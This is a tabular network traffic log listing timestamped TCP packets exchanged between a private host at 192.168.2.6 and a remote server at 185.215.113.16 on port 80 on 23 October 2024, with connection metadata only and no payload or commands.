Oct 23, 2024 17:51:29.191489935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191489935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191525936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191559076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191569090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191595078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191616058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191631079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191665888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191699028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191714048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191739082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191744089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191776037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191808939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191823006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191843987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191879034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191890001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191917896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191950083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191983938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191992044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192018986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192027092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192054033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192090988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192099094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192125082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192159891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192183971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192192078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192276001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192308903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192322016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192357063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192394018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.192409992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192454100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.192517042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224467039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224502087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224543095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224554062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224590063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224627018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224659920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224679947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224694014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224706888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224745035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224795103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224801064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224837065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224870920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224878073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.224904060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224939108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224972010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.224982977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.225007057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225013018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.225037098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225070000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225087881 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.225111961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225145102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225195885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.225811958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225846052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225881100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225934982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.225939989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.225972891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226003885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226031065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226038933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226073027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226106882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226115942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226146936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226180077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226191998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226216078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226221085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226270914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226315022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226321936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226372957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226407051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226417065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226442099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226475000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226520061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226531982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226583004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226615906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226629019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226644993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226658106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226680040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226715088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226747036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226759911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226782084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226783991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226816893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226861000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226871967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.226895094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226953030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226985931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.226998091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227036953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227068901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227075100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227108002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227119923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227173090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227214098 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227222919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227257013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227289915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227299929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227344036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227375984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227410078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227421045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227443933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227477074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227485895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227528095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227622986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227658987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227690935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227703094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227725983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227760077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227768898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227796078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227829933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227864027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227874041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227897882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227931976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227940083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.227965117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.227971077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228001118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228043079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228056908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228111029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228143930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228178024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228188038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228212118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228247881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228252888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228281975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228288889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228317022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228348970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228364944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228383064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228415966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228426933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228451014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228485107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228518009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228528976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228553057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228585958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228596926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228620052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228627920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228653908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228688002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228720903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228729963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228755951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228790045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228800058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228825092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228828907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228862047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228894949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228904963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.228929043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.228971004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.244983912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.304858923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.304900885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.304940939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.304974079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.304975986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305008888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305022001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305046082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305090904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305320978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305351019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305403948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305444002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305448055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305500984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305547953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305552959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305588961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305618048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305623055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305653095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305669069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305705070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305737972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305769920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305772066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305799961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305845976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305907965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305943012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.305948019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.305977106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306010962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306015968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306046009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306081057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306114912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306118965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306148052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306169033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306222916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306255102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306289911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306296110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306324005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306363106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306363106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306397915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306433916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306437016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306463957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306488037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306500912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306540966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306555033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306586981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306638002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306679010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306693077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306731939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306781054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306787014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306821108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306832075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306857109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306886911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306898117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306920052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306956053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.306960106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.306989908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307029009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307490110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307543039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307610989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307632923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307667971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307702065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307744980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307754040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307796001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307806969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307842970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307878017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307920933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307929993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307966948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.307976007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.307996035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308048010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308092117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308104992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308157921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308192015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308197975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308227062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308249950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308260918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308295965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308330059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308334112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308358908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308368921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308410883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308446884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308454037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308506966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308558941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308566093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308614016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308660030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308665037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308717966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308759928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308769941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308805943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308841944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308851957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308892965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308928013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.308933973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.308980942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309015036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309048891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309056997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309083939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309122086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309125900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309156895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309161901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309190989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309225082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309258938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309263945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309293985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309326887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309330940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309361935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309365034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309396982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309432030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.309437037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.309465885 CEST	80	49763	185.215.113.16	192.168.2.6
